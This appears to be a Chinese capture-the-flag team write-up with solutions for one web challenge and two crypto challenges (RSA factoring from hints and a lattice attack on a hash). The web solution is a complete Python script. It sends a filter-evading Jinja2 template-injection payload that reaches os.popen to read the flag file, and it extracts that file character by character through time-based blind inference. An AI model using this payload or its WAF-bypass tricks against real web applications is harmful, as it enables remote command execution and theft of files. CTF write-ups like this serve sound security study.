Web

W | Safe_Proxy | working:MasterLin

绕过waf+时间盲注:

import requests
import time

def blind_injection_payload(guessed_char):
    url = "<http://47.95.3.252:22626/>"

    payload = (
        "{%set gl='_'*2+'globals'+'_'*2%}"
        "{%set bu='_'*2+'builtins'+'_'*2%}"
        "{%set im='_'*2+'i''mport'+'_'*2%}"
        "{%set as='so'[::-1]%}"
        "{{ g.pop[gl][bu][im](as)['p''open']('cat /flag | grep \\""
        + guessed_char +
        "\\" && sleep 5').read() }}"
    )
    response = requests.post(url, data={'code': payload})
    return response.elapsed.total_seconds()

def get_flag():
    guessed_char = "flag{"
    position = len(guessed_char)

    while True:
        for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-":
            delay = blind_injection_payload(guessed_char + char)
            print(f"尝试读取位置 {position} 的字符: {char}")

            if delay > 4:
                guessed_char += char
                print(f"已找到 flag 的一部分: {guessed_char}")
                break

        position += 1

        if position > 100:
            print("未能找到完整的 flag.")
            break

    print("最终猜测的 flag:", guessed_char)

get_flag()

Crypto

F | rasnd | working:Astrageldon

第一部分:x1与x2很小,可以穷举,对于每个可能的(x1,x2)对,验证是否有

$$ q=\operatorname{gcd}((\text{hint1}+\texttt{0x114})\cdot x_2 - (\text{hint2}+\texttt{0x514})\cdot x_1, n)\in(1,n) $$

即可分解出q。

第二部分:我们知道,n-p-q=\varphi(n)-1,故

$x^{n-p-q}\equiv x^{\varphi(n)-1}\equiv x^{-1}\equiv \text{hint} \pmod{n},\quad x=514p-114q$

由于[$514p-114q\in 0,n)$$\text{hint}^{-1}\bmod{n}=514p-114q$

在整数环上联立方程

$$ \begin{cases} 514p-114q &= \text{hint}^{-1} \bmod{n}\\ pq&=n \end{cases} $$

即可分解n。

#sage

from rich.progress import track
from Crypto.Util.number import *

n,c,hint1,hint2=

for x1 in track(range(2**11)):
    for x2 in range(2**11):
        if n > gcd((hint1+0x114)*x2 - (hint2+0x514)*x1, n) > 1:
            q =  gcd((hint1+0x114)*x2 - (hint2+0x514)*x1, n)
            assert n % q == 0
            p = n // q
            print(long_to_bytes(pow(int(c),pow(int(0x10001),-1,int((p-1)*(q-1))),int(n))))

n,c,hint =

P.<p,q> = ZZ[]
print(factor(P.ideal(514*p-114*q-pow(hint,-1,n), p*q-n).groebner_basis()[1]))
q =
p = n//q
print(long_to_bytes(pow(int(c),pow(int(0x10001),-1,int((p-1)*(q-1))),int(n))))

F | fffffhash | working:Astrageldon

已知$x,y,\ 256> y\ge 0,\ x>0$,那么 $\left\vert (x\oplus y)-x \right\vert < 256$,也即哈希函数中的异或可以用加法来替代,并且差量操作数很小。据此我们可以将其转换为一个线性的操作:

$\text{hash}(\vec{m}) =\text{base\num}0\cdot x^n + \sum\limits{i=0}^{n-1} \widetilde{m}i\cdot x^{n-1-i}\qquad \text{ on }\mathbb{Z}{2^{128}},\quad \vec m\in\mathbb{Z}{256}^n$

其中$\widetilde{m}_i$都是作为未知数的小量,通过格基约化可以求出一组符合要求的解。